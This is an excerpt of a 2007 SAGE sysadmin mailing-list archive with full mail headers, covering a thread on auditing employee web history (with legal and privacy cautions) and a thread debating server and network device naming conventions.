	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Fri, 5 Jan 2007 19:59:09 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l063x8gl021399
	for sage-members-0utGoign; Fri, 5 Jan 2007 19:59:08 -0800 (PST)
Received: from orthanc.ca (orthanc.ca [209.89.70.53])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l063wke4021383
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL)
	for <sage-members@sage.org>; Fri, 5 Jan 2007 19:58:57 -0800 (PST)
Received: from [192.168.15.100] (d216-232-193-32.bchsia.telus.net
	[216.232.193.32]) (authenticated bits=0)
	by orthanc.ca (8.13.4/8.13.4) with ESMTP id l063QZ1a071975;
	Fri, 5 Jan 2007 20:26:35 -0700 (MST)
	(envelope-from lyndon@orthanc.ca)
In-Reply-To: <bb075cdf0701051912t304cf34dk372952d14e55daf9@mail.gmail.com>
References: <459EDC88.7070706@insightbb.com>
	<bb075cdf0701051912t304cf34dk372952d14e55daf9@mail.gmail.com>
Mime-Version: 1.0 (Apple Message framework v752.2)
Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed
Message-Id: <A27D210E-0CB3-4B6A-A75B-67DE845CE7B4@orthanc.ca>
Cc: "Aaron Bridge" <a.bridge@insightbb.com>, sage-members@sage.org
Content-Transfer-Encoding: 7bit
From: Lyndon Nerenberg <lyndon@orthanc.ca>
Subject: Re: [SAGE] Internet History tool
Date: Fri, 5 Jan 2007 19:25:57 -0800
To: Rodrick Brown <rodrick.brown@gmail.com>
X-Mailer: Apple Mail (2.752.2)
X-Spam-Status: No, score=0.9 required=5.0 tests=AWL,BAYES_00,
	RCVD_IN_NJABL_DUL,RCVD_IN_SORBS_DUL autolearn=no version=3.1.7
X-Spam-Checker-Version: SpamAssassin 3.1.7 (2006-10-05) on orthanc.ca
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

> Just setup a transparent Proxy of some sort possibly squid then parse
> the squid access logs.

Or a snort rule, if you can coerce all the traffic through a Unix- 
based border router.

The problem with these solutions is they can't log SSL-protected  
traffic (other than the destination end point network address and  
port).  And if the client can strike any form of encrypted tunnel,  
you won't even get that.

--lyndon


From sage-members-owner@usenix.org Sat Jan  6 00:07:23 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0687M1i028458
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Sat, 6 Jan 2007 00:07:23 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0687M81028457
	for sage-members-0utGoign; Sat, 6 Jan 2007 00:07:22 -0800 (PST)
Received: from mailhost.nmt.edu (mailhost.NMT.EDU [129.138.4.52])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0686wfE028442
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL)
	for <sage-members@usenix.org>; Sat, 6 Jan 2007 00:07:11 -0800 (PST)
Received: from localhost (mailhost [127.0.0.1])
	by localhost.localdomain (Postfix) with ESMTP id 30F753A5826E
	for <sage-members@usenix.org>; Sat,  6 Jan 2007 00:16:18 -0700 (MST)
X-Virus-Scanned: by amavisd-new-2.4.3 (20060930) (RHEL AS) at nmt.edu
Received: from mailhost.nmt.edu ([127.0.0.1])
	by localhost (mailhost.nmt.edu [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id opYSSvOb2B5b; Sat,  6 Jan 2007 00:16:17 -0700 (MST)
Received: from [129.138.88.154] (effelant.nmt.edu [129.138.88.154])
	by mailhost.nmt.edu (Postfix) with ESMTP id 229193A580E4;
	Sat,  6 Jan 2007 00:16:17 -0700 (MST)
Message-ID: <459F4CBA.3060109@nmt.edu>
Date: Sat, 06 Jan 2007 00:16:10 -0700
From: Ruth Milner <rmilner@nmt.edu>
Reply-To: rmilner@nmt.edu
User-Agent: Thunderbird 1.5.0.9 (Windows/20061207)
MIME-Version: 1.0
To: sage-members@usenix.org
Subject: Re: [SAGE] Internet History tool
References: <459EDC88.7070706@insightbb.com>
	<bb075cdf0701051912t304cf34dk372952d14e55daf9@mail.gmail.com>
	<459F14B8.10008@insightbb.com> <459F18FC.40403@deaddrop.org>
In-Reply-To: <459F18FC.40403@deaddrop.org>
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-DCC-Usenix-Metrics: voyager 1010; bulk rep Body=many Fuz1=many Fuz2=many
	rep=45%
Sender: owner-sage-members@usenix.org
Precedence: bulk

Aaron Bridge wrote:

> This would be ok for long term, but I only have four hours.
 > This is a very confidential assignment.  Nobody in the office
 > is to know what I am doing.

Unless the company has a well-established and well-publicized policy
which states that a) employees have no right to expect privacy on
company computers and b) such audits may be conducted at any time,
this could indeed be a nasty squirmy bag of worms (as Etaoin so
graphically put it :-) ). You might do some research on legal
decisions, particularly on the distinction between ownership of
data on company computers vs employee monitoring.

So get a printed copy of that policy along with the recommended
written authorization to do this work. If there isn't one, or they
decline to give you either of these, I would personally be inclined
to pass on the job if I possibly could.

And even if you have all that, consider what could happen if the
sysadmins there have system auditing enabled. If they find
apparently-unauthorized access(es) and start digging, will the
person who has authorized this work be in the chain of incident
reporting where they can plausibly drop or explain it? Could one
of the higher links in that chain be, or be connected to, the true
target of the analysis, and become suspicious about it? (This is
one of a very few reasons I can think of why their own admins
aren't doing it, the others being incompetence or the use of
outside auditors as SOP.)

I see a lot of ways this could end up causing a real stink, and in
most of them that stink could well reach you - weeks, months, or
(given the U.S. legal system) even years down the road.

Ruth



From sage-members-owner@usenix.org Sat Jan  6 09:46:18 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l06HkAbr011774
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Sat, 6 Jan 2007 09:46:15 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l06Hk9sr011772
	for sage-members-0utGoign; Sat, 6 Jan 2007 09:46:10 -0800 (PST)
Received: from vms040pub.verizon.net (vms040pub.verizon.net [206.46.252.40])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l06HjjYl011738
	for <sage-members@usenix.org>; Sat, 6 Jan 2007 09:45:55 -0800 (PST)
Received: from jantman.dyndns.org ([71.251.193.88])
	by vms040.mailsrvcs.net (Sun Java System Messaging Server 6.2-6.01
	(built Apr
	3 2006)) with ESMTPA id <0JBG00DFUH71OAIU@vms040.mailsrvcs.net> for
	sage-members@usenix.org; Sat, 06 Jan 2007 10:45:01 -0600 (CST)
Received: from jantman.dyndns.org (localhost [127.0.0.1])
	by jantman.dyndns.org (Postfix) with ESMTP id A87A824D20	for
	<sage-members@usenix.org>; Sat, 06 Jan 2007 11:45:00 -0500 (EST)
Received: from 67.82.112.176 (SquirrelMail authenticated user jantman)
	by jantman.dyndns.org with HTTP; Sat, 06 Jan 2007 11:45:00 -0500 (EST)
Date: Sat, 06 Jan 2007 11:45:00 -0500 (EST)
From: "Jason Antman" <jason@jasonantman.com>
Subject: Re: [SAGE] Naming conventions for servers, network gear, etc.
In-reply-to: <0225D81E-DC98-4CD6-A356-E579432DE87D@acm.org>
To: sage-members@usenix.org
Message-id: <11248.67.82.112.176.1168101900.squirrel@jantman.dyndns.org>
MIME-version: 1.0
Content-type: text/plain; charset=iso-8859-1
Content-transfer-encoding: 8bit
Importance: Normal
X-Priority: 3 (Normal)
References: <0225D81E-DC98-4CD6-A356-E579432DE87D@acm.org>
User-Agent: SquirrelMail/1.4.8
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=2%
Sender: owner-sage-members@usenix.org
Precedence: bulk

> Have there been any papers done on naming conventions for servers,
> network gear, etc?
>
> E.g., when is it better to call it "core-router-bwg" versus
> "juniperm10i" versus "router1"?
>
> Or "server1" versus "dns1" versus "franko"?
>
> There are a few obvious up-sides and down-sides of different schemes.
> But has anybody really dug in and written them down?
>
> If not, I'd be interested in writing a paper on this with somebody
> for USENIX or SAGE. If you're interested in working with me on it,
> let me know.
>

I work for Rutgers University, which has pretty large IT operations
department. University-wide, the hosts are named using department-specific
names, which are a hodgepodge of functional names  such as NBCS for New
Brunswick Computing Services, and "random names" - Eden, Clam, etc.
Clustered servers are named such as Eden-u1, Eden-u2, etc.

For my personal networks, I really prefer names that have nothing to do
with the functional nature of the machine, as I view this as making
network reconnaissance too easy. My home development network has "SATURN"
as the main DHCP/DNS/LDAP server, and the other machines are named after
Saturn's moons, allowing approximately 56 unique names.




From sage-members-owner@usenix.org Sat Jan  6 10:09:18 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l06I9HMo012578
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Sat, 6 Jan 2007 10:09:18 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l06I9Huk012577
	for sage-members-0utGoign; Sat, 6 Jan 2007 10:09:17 -0800 (PST)
Received: from mail.reptiles.org (mail.reptiles.org [198.96.119.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l06I8r8O012546
	for <sage-members@usenix.org>; Sat, 6 Jan 2007 10:09:04 -0800 (PST)
Received: from mail.reptiles.org([198.96.119.1] port=4713) (2178 bytes) 
	by mail.reptiles.org([198.96.119.1] port=25) via TCP with esmtp
	(sender: <cat@reptiles.org>) id <m1H3FyO-00BxG7C@mail.reptiles.org>
	for <sage-members@usenix.org>;
	(dest:remote)(R=bind_hosts)(T=inet_zone_bind_smtp)
	Sat, 6 Jan 2007 13:08:52 -0500 (EST)
	(Smail-3.2.0.118 2004-May-31 #3 built 2004-Oct-14)
Date: Sat, 6 Jan 2007 13:08:52 -0500 (EST)
From: Cat Okita <cat@reptiles.org>
To: Jason Antman <jason@jasonantman.com>
cc: sage-members@usenix.org
Subject: Re: [SAGE] Naming conventions for servers, network gear, etc.
In-Reply-To: <11248.67.82.112.176.1168101900.squirrel@jantman.dyndns.org>
Message-ID: <20070106130454.F21945@skink.reptiles.org>
References: <0225D81E-DC98-4CD6-A356-E579432DE87D@acm.org>
	<11248.67.82.112.176.1168101900.squirrel@jantman.dyndns.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

On Sat, 6 Jan 2007, Jason Antman wrote:
> For my personal networks, I really prefer names that have nothing to do
> with the functional nature of the machine, as I view this as making
> network reconnaissance too easy. My home development network has "SATURN"
> as the main DHCP/DNS/LDAP server, and the other machines are named after
> Saturn's moons, allowing approximately 56 unique names.

I'm always entertained by the idea that names must somehow make doing
network reconaissance easier.  When was the last time you saw a scanner
that worked by name, rather than by IP, _especially_ in bulk.

IMNSHO "it makes things harder for crackers" simply isn't a good argument
for names that have nothing to do with the nature of the machine.  That's
like arguing that a different colour of umbrella will somehow make it
less obvious that you're using an umbrella.

On your home network it doesn't much matter what you choose - presumably
you're either the only admin, or one of a tiny number of admins who know
their machines extremely well - but that certainly doesn't hold true as
the environment scales.

cheers!
==========================================================================
"A cat spends her life conflicted between a deep, passionate and profound
desire for fish and an equally deep, passionate and profound desire to
avoid getting wet.  This is the defining metaphor of my life right now."


From sage-members-owner@usenix.org Sat Jan  6 10:35:26 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l06IZP3r013547
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Sat, 6 Jan 2007 10:35:26 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l06IZPE7013546
	for sage-members-0utGoign; Sat, 6 Jan 2007 10:35:25 -0800 (PST)
Received: from mailhost.nmt.edu (mailhost.NMT.EDU [129.138.4.52])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l06IZ3i8013531
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL)
	for <sage-members@usenix.org>; Sat, 6 Jan 2007 10:35:14 -0800 (PST)
Received: from localhost (mailhost [127.0.0.1])
	by localhost.localdomain (Postfix) with ESMTP id 5120E3A58E07
	for <sage-members@usenix.org>; Sat,  6 Jan 2007 11:34:58 -0700 (MST)
X-Virus-Scanned: by amavisd-new-2.4.3 (20060930) (RHEL AS) at nmt.edu
Received: from mailhost.nmt.edu ([127.0.0.1])
	by localhost (mailhost.nmt.edu [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 3USiPOXmGA8k; Sat,  6 Jan 2007 11:34:56 -0700 (MST)
Received: from [129.138.88.154] (effelant.nmt.edu [129.138.88.154])
	by mailhost.nmt.edu (Postfix) with ESMTP id 5D7D33A58E1B;
	Sat,  6 Jan 2007 11:34:56 -0700 (MST)
Message-ID: <459FEBC9.8060007@nmt.edu>
Date: Sat, 06 Jan 2007 11:34:49 -0700
From: Ruth Milner <rmilner@nmt.edu>
Reply-To: rmilner@nmt.edu
User-Agent: Thunderbird 1.5.0.9 (Windows/20061207)
MIME-Version: 1.0
To: sage-members@usenix.org
Subject: Re: [SAGE] Naming conventions for servers, network gear, etc.
References: <0225D81E-DC98-4CD6-A356-E579432DE87D@acm.org>
	<11248.67.82.112.176.1168101900.squirrel@jantman.dyndns.org>
	<20070106130454.F21945@skink.reptiles.org>
In-Reply-To: <20070106130454.F21945@skink.reptiles.org>
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-DCC-Usenix-Metrics: voyager 1010; bulk rep Body=many Fuz1=many Fuz2=many
	rep=45%
Sender: owner-sage-members@usenix.org
Precedence: bulk

Cat wrote:

 > I'm always entertained by the idea that names must somehow make doing
 > network reconaissance easier. [...] "it makes things harder for
 > crackers" simply isn't a good argument for names that have nothing
 > to do with the nature of the machine.

I agree. It's really a "security through obscurity" approach - one
which doesn't even cover the most commonly-used attack path.

The people it actually does make things harder for, at least in an
organization, are the ones who have to use and maintain the systems.

Jason wrote:

 > My home development network has "SATURN"
 > as the main DHCP/DNS/LDAP server, and the other machines are named after
 > Saturn's moons

Hmmm ... so if anyone were to look at names on this network, the
system providing the most critical services is the one that all the
others are orbiting around? Maybe "Saturn" should be a honeypot. :-)

I always preferred the CNAME approach. You can name the server
however you prefer - locational/functional/aesthetic - and create
CNAMEs for the services it provides. Makes it really easy for users
to remember how to find what they need, and makes no difference at
all to potential attackers.

Ruth


From sage-members-owner@usenix.org Sat Jan  6 10:53:00 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l06Iqumt014216
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Sat, 6 Jan 2007 10:52:57 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l06Iqu2V014215
	for sage-members-0utGoign; Sat, 6 Jan 2007 10:52:56 -0800 (PST)
Received: from relay00.pair.com (relay00.pair.com [209.68.5.9])
	by usenix.org (8.13.6/8.13.6) with SMTP id l06IqStL014202
	for <sage-members@usenix.org>; Sat, 6 Jan 2007 10:52:42 -0800 (PST)
Received: (qmail 53717 invoked by uid 0); 6 Jan 2007 18:52:27 -0000
Received: from 66.119.212.42 (HELO ?66.119.212.42?) (66.119.212.42)
	by relay00.pair.com with SMTP; 6 Jan 2007 18:52:27 -0000
X-pair-Authenticated: 66.119.212.42
Message-ID: <459FEF6C.8090104@deaddrop.org>
Date: Sat, 06 Jan 2007 10:50:20 -0800
From: Etaoin Shrdlu <shrdlu@deaddrop.org>
Organization: dig @localhost TXT CHAOS version.bind
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
	rv:1.7.11) Gecko/20050728
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: SAGE Members <sage-members@usenix.org>
Subject: Re: [SAGE] Naming conventions for servers, network gear, etc.
References: <0225D81E-DC98-4CD6-A356-E579432DE87D@acm.org>
	<11248.67.82.112.176.1168101900.squirrel@jantman.dyndns.org>
In-Reply-To: <11248.67.82.112.176.1168101900.squirrel@jantman.dyndns.org>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-DCC-Usenix-Metrics: voyager 1010; bulk rep Body=many Fuz1=many Fuz2=many
	rep=34%
Sender: owner-sage-members@usenix.org
Precedence: bulk

Jason Antman wrote:

>>Have there been any papers done on naming conventions for servers,
>>network gear, etc?
>>    
>>
>I work for Rutgers University, which has pretty large IT operations
>department. University-wide, the hosts are named using department-specific
>names, which are a hodgepodge of functional names  such as NBCS for New
>Brunswick Computing Services, and "random names" - Eden, Clam, etc.
>Clustered servers are named such as Eden-u1, Eden-u2, etc.
>  
>
I have found over time (and I've seen a lot of time) that *any* 
consistent naming scheme works. It's helpful if the names have some sort 
of internal sense that makes NBCS-Room449 something that is part of your 
responsibility, where Eden-u1 is clearly someone else's (just for 
example). Another thing that's important is the long view. As we know, 
certain operating systems and applications do *not* like being renamed 
(think Oracle; think Windows2k3). The less emotional attachment there is 
to a naming scheme for servers and network devices, the better.

Let me reiterate the excellent work already quoted so many times. I 
don't think it gets better than that.

http://www.nanog.org/mtg-0405/ringel.html

>For my personal networks, I really prefer names that have nothing to do
>with the functional nature of the machine, as I view this as making
>network reconnaissance too easy. My home development network has "SATURN"
>as the main DHCP/DNS/LDAP server, and the other machines are named after
>Saturn's moons, allowing approximately 56 unique names.
>  
>
Amusing, but what on earth makes you think anyone interested in your 
personal network will care in the slightest about what the *name* of 
anything is? If it's interesting enough for someone to care, they will 
*know* that you have all those services running on just one machine, and 
it'll be over. OVER. On the other hand, unless you have the ability to 
support a bunch of bots, I doubt that the bad guys care. Everything's so 
automated now, anyway.

My router is usually named rooter, because it makes me laugh. When it 
comes to small networks, I'd just as soon have names that are memorable 
for the entertainment value, as anything. Some of my favorites have been 
muscle cars (Cobra, Mustang), Nobel Prize winners for physics (with an 
honorary mention for Hawking, who *should* win), and insect predators 
(Mantis, Widow).

-- 
I will put Chaos into fourteen lines
    And keep him there; and let him thence escape
         If he be lucky...
Edna St. Vincent Millay



From sage-members-owner@usenix.org Sat Jan  6 11:15:11 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l06JFAq9015088
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Sat, 6 Jan 2007 11:15:11 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l06JFAlI015087
	for sage-members-0utGoign; Sat, 6 Jan 2007 11:15:10 -0800 (PST)
Received: from adsl-64-160-54-75.dsl.snfc21.pacbell.net
	(adsl-67-122-242-225.dsl.pltn13.pacbell.net [67.122.242.225])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l06JEqeP015076
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@usenix.org>; Sat, 6 Jan 2007 11:15:03 -0800 (PST)
Received: from [192.168.72.2] (wizfast.rski.net [192.168.72.2])
	by adsl-64-160-54-75.dsl.snfc21.pacbell.net (8.12.8/8.12.8) with ESMTP
	id l06JEjxo025439; Sat, 6 Jan 2007 11:14:46 -0800
Message-ID: <459FF525.9000307@chycoski.com>
Date: Sat, 06 Jan 2007 11:14:45 -0800
From: Richard Chycoski <rskiadmin@chycoski.com>
User-Agent: Thunderbird 1.5.0.9 (Windows/20061207)
MIME-Version: 1.0
To: Cat Okita <cat@reptiles.org>
CC: Jason Antman <jason@jasonantman.com>, sage-members@usenix.org
Subject: Re: [SAGE] Naming conventions for servers, network gear, etc.
References: <0225D81E-DC98-4CD6-A356-E579432DE87D@acm.org>
	<11248.67.82.112.176.1168101900.squirrel@jantman.dyndns.org>
	<20070106130454.F21945@skink.reptiles.org>
In-Reply-To: <20070106130454.F21945@skink.reptiles.org>
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

There are (at least) two divergent trains of thought for naming servers 
and network devices:

Names completely unrelated to the function/location/OS/other 
characteristic, and names that are related to one or more of these 
characteristics.

Both methods have their place and uses, and can sometimes be used together.

The old Unix trait of naming a group of machines after a the names of 
some other group of objects (elements, planets, beers, Paris Hilton's 
exploits :-) usually doesn't scale to really large groups of machines, 
but using these kinds of names as memorable names for the clients to use 
for a subset of the machines, or as aliases, can work even in a large 
environment.

There is a combination of naming schemes at Cisco.

Production routers/switches/other network and utility devices are named 
by location and type of device, followed by 1,2,3...

Some servers are named in a similar fashion, but others have a 
combination of location and memorable name (it effectively replaces the 
'1,2,3...'). The latter works something like this:

BUILDING-FUNC-saturn
BUILDING-FUNC-phoebe
...

This has an advantage for both clients and sysadmins. Change messages 
relating to the clients' work are more likely to be noticed when someone 
who works on '...phoebe' sees a message rather than '...23'. The clients 
are more likely to get the right machine as well.

For sysadmins who may be working on several machines, fewer mistakes of 
sending commands to the wrong machine are likely to happen as well.

This isn't terribly useful for large farms of machines (remembering a 
hundred names isn't practical), but if you have a smaller number of 
machines of the same function that are used for distinct projects or 
client groups, memorable names embedded in an otherwise 
characteristic-related name can be useful. (Cnames are another 
alternative for this, but don't always work in practice.)

For the most part, 'utility' devices (like network gear and farms) are 
best named by location, possibly their type and/or function (if this 
isn't dynamic), and some serial number. It's also appropriate for 
services that the clients never need refer to by name - for example, if 
you have a bunch of NFS servers but the clients only need to know the 
automounter directory mount points, then memorable names don't buy you 
as much. It's getting more difficult with systems-oriented data centres 
where a given machine is a chameleon, possibly even running different 
OSes at different times, but machine hardware type doesn't change, and 
unless the DC is in a trailer (these do exist!) location doesn't either.

As to STO naming - 'real' security people (those who have worked for 
those three-letter government orgs - we have a few such people around) 
just laugh at the suggestion. We had a former security admin who thought 
that keeping the name of the security servers out of documentation and 
even *conversation* was a good thing - but it's trivially easy to figure 
out this information if you can log into *any* machine in the 
environment! That 'policy' has been rescinded. (:-)

However, I wouldn't name the most secure machines with names that 
*invite* people to go after them, like 'fortknox', 'impenetrable', or 
'supersecure'. There's no use laying out the red carpet, either! I 
remember when a university (I think it was Texas A&M?) claimed that they 
had a secure firewall, and hackers were gleefully penetrating this 
'firewall' even as the announcements of its superiority were being 
broadcast. Staying low-key is a good idea to prevent encouraging the 
script kiddies, just don't depend on your naming to really hide anything 
for you.

My own personal machines at home have names that are chosen by whim for 
the servers (and function for the utility devices) - like I did for my 
personal machines when I worked at the university. My desktop was 
'wizard', and the other machines were wizzl, wizznd, etc. When I got my 
first laptop, someone suggested that I call it 'takeawiz', but I went 
with the more politically correct 'wizalong'...

- Richard



Cat Okita wrote:
> On Sat, 6 Jan 2007, Jason Antman wrote:
>> For my personal networks, I really prefer names that have nothing to do
>> with the functional nature of the machine, as I view this as making
>> network reconnaissance too easy. My home development network has 
>> "SATURN"
>> as the main DHCP/DNS/LDAP server, and the other machines are named after
>> Saturn's moons, allowing approximately 56 unique names.
>
> I'm always entertained by the idea that names must somehow make doing
> network reconaissance easier.  When was the last time you saw a scanner
> that worked by name, rather than by IP, _especially_ in bulk.
>
> IMNSHO "it makes things harder for crackers" simply isn't a good argument
> for names that have nothing to do with the nature of the machine.  That's
> like arguing that a different colour of umbrella will somehow make it
> less obvious that you're using an umbrella.
>
> On your home network it doesn't much matter what you choose - presumably
> you're either the only admin, or one of a tiny number of admins who know
> their machines extremely well - but that certainly doesn't hold true as
> the environment scales.
>
> cheers!
> ========================================================================== 
>
> "A cat spends her life conflicted between a deep, passionate and profound
> desire for fish and an equally deep, passionate and profound desire to
> avoid getting wet.  This is the defining metaphor of my life right now."



From sage-members-owner@usenix.org Sat Jan  6 13:28:59 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l06LSwWm018082
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Sat, 6 Jan 2007 13:28:58 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l06LSwBF018081
	for sage-members-0utGoign; Sat, 6 Jan 2007 13:28:58 -0800 (PST)
Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.169])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l06LSVxx018067
	for <sage-members@usenix.org>; Sat, 6 Jan 2007 13:28:42 -0800 (PST)
Received: by ug-out-1314.google.com with SMTP id m3so5779764uge
	for <sage-members@usenix.org>; Sat, 06 Jan 2007 13:28:30 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=XhVcoRXIP8t2ldY4kfpv3hxfKPbMGbJQXqg5uOVJBddpC+znUWqLp8K2KG+IxP5RvPyu8YiVOnOov/pMw7bL4gYacAPIMx9uphm5IGGixdDyKjwC0Inwef+dYyBHGNo8lO99TpYxpS0LfHJ89+rncM2lBKbRvT/eOG1e+tCoIYY=
Received: by 10.78.178.5 with SMTP id a5mr7114478huf.1168118910525;
	Sat, 06 Jan 2007 13:28:30 -0800 (PST)
Received: by 10.78.136.16 with HTTP; Sat, 6 Jan 2007 13:28:30 -0800 (PST)
Message-ID: <bb075cdf0701061328x78ebc9daq6b439e8b15e8f1f0@mail.gmail.com>
Date: Sat, 6 Jan 2007 16:28:30 -0500
From: "Rodrick Brown" <rodrick.brown@gmail.com>
To: "Mark R. Lindsey" <lindsey@acm.org>
Subject: Re: [SAGE] Naming conventions for servers, network gear, etc.
Cc: "LOPSA Discuss List" <discuss@lopsa.org>,
	"SAGE list" <sage-members@usenix.org>
In-Reply-To: <0225D81E-DC98-4CD6-A356-E579432DE87D@acm.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
References: <0225D81E-DC98-4CD6-A356-E579432DE87D@acm.org>
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=7%
Sender: owner-sage-members@usenix.org
Precedence: bulk

On 1/5/07, Mark R. Lindsey <lindsey@acm.org> wrote:
> Have there been any papers done on naming conventions for servers,
> network gear, etc?
>
> E.g., when is it better to call it "core-router-bwg" versus
> "juniperm10i" versus "router1"?
>
> Or "server1" versus "dns1" versus "franko"?
>
> There are a few obvious up-sides and down-sides of different schemes.
> But has anybody really dug in and written them down?
>
> If not, I'd be interested in writing a paper on this with somebody
> for USENIX or SAGE. If you're interested in working with me on it,
> let me know.
>
>
>
>
>
> Mark R. Lindsey  | ECG |  +1-229-316-0013  |  lindsey@e-c-group.com
>
>
>

Most companies I've worked for we've used a variation of the following
but this approach works very well especially for large multi-region
environments.

scsinfpladm01
(scs) == Location "Secacus"
(inf) == Business Owner in this case "Infrastructure"
(p) == Server environment "production"
(l) == OS type "linux"
(adm) == server function "administrative"
(01) == instance number.

If the machine is a blade server we use something like 01xx 01 would
be the blade itself followed by xx that would be the actually location
of that specific blade on the chassis ie. scsinfplpadm0114

Looking at a generic hostname such as "chicsidsdb01" we know off bat
its located in Chicago running a Solaris database in dev and the
business owner is cash securities.

-- 
Rodrick R. Brown


From sage-members-owner@usenix.org Sat Jan  6 22:28:37 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l076SPm4000055
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Sat, 6 Jan 2007 22:28:30 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l076SOmo000054
	for sage-members-0utGoign; Sat, 6 Jan 2007 22:28:24 -0800 (PST)
Received: from smtp102.his.com (smtp102.his.com [216.194.225.125])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l076Rtx9000034
	for <sage-members@usenix.org>; Sat, 6 Jan 2007 22:28:05 -0800 (PST)
Received: from localhost (localhost [127.0.0.1])
	by smtp102.his.com (Postfix) with ESMTP id C542A4000F3;
	Sun,  7 Jan 2007 01:27:50 -0500 (EST)
Received: from smtp102.his.com ([216.194.225.125])
	by localhost (smtp102.his.com [216.194.225.125]) (amavisd-new,
	port 10024)
	with ESMTP id 30229-10; Sun, 7 Jan 2007 01:27:49 -0500 (EST)
Received: from vhost109.his.com (vhost109.his.com [216.194.225.101])
	by smtp102.his.com (Postfix) with ESMTP id EE7A44000EC;
